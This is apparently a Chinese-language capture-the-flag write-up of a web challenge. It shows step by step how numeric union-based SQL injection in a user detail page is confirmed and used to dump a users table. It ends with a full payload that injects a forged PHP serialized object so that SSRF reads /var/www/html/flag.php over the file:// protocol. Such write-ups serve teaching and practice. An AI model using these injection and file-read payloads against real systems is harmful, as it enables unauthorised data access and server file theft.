这是一道SQL联合注入与ssrf的题目
解题过程
- 进入链接发现是一个注册登录界面。在登录页面尝试注入没有作用。先随便注册一个用户
- 登录后点击用户名跳转到详情界面
- 随手测试发现存在报错,大概率有SQL注入
- 1 and 1=2无回显测试为数字型注入
- 尝试union联合注入,1 order by 4查询字段数为4
- 常规爆表爆字段得到表名为users,字段名为no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,其中前四个为查询的字段
7.select group_concat(no) from users查询各个字段的内容,发现只有一条数据
| no | username | data |passwd|
| ---- | ---- | ---- | ---- |
| 1 | niyani | O:8:"UserInfo":3:{s:4:"name";s:6:"niyani";s:3:"age";i:19;s:4:"blog";s:15:"11309970564.com";} | ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413 | - 联合注入的核心就是可以控制查询结果,我们构造查询结果测试data字段是否存在ssrf漏洞
no 1
username niyani
passwd ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413
data O:8:"UserInfo":3:{s:4:"name";s:6:"niyani";s:3:"age";i:19;s:4:"blog";s:15:"11309970564.com";}
9.将data中的blog字段进行修改,使用file协议读取,经测试flag在flag.php
payload为:-1 union/**/select 1,'niyani','ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413','O:8:"UserInfo":3:{s:4:"name";s:6:"niyani";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#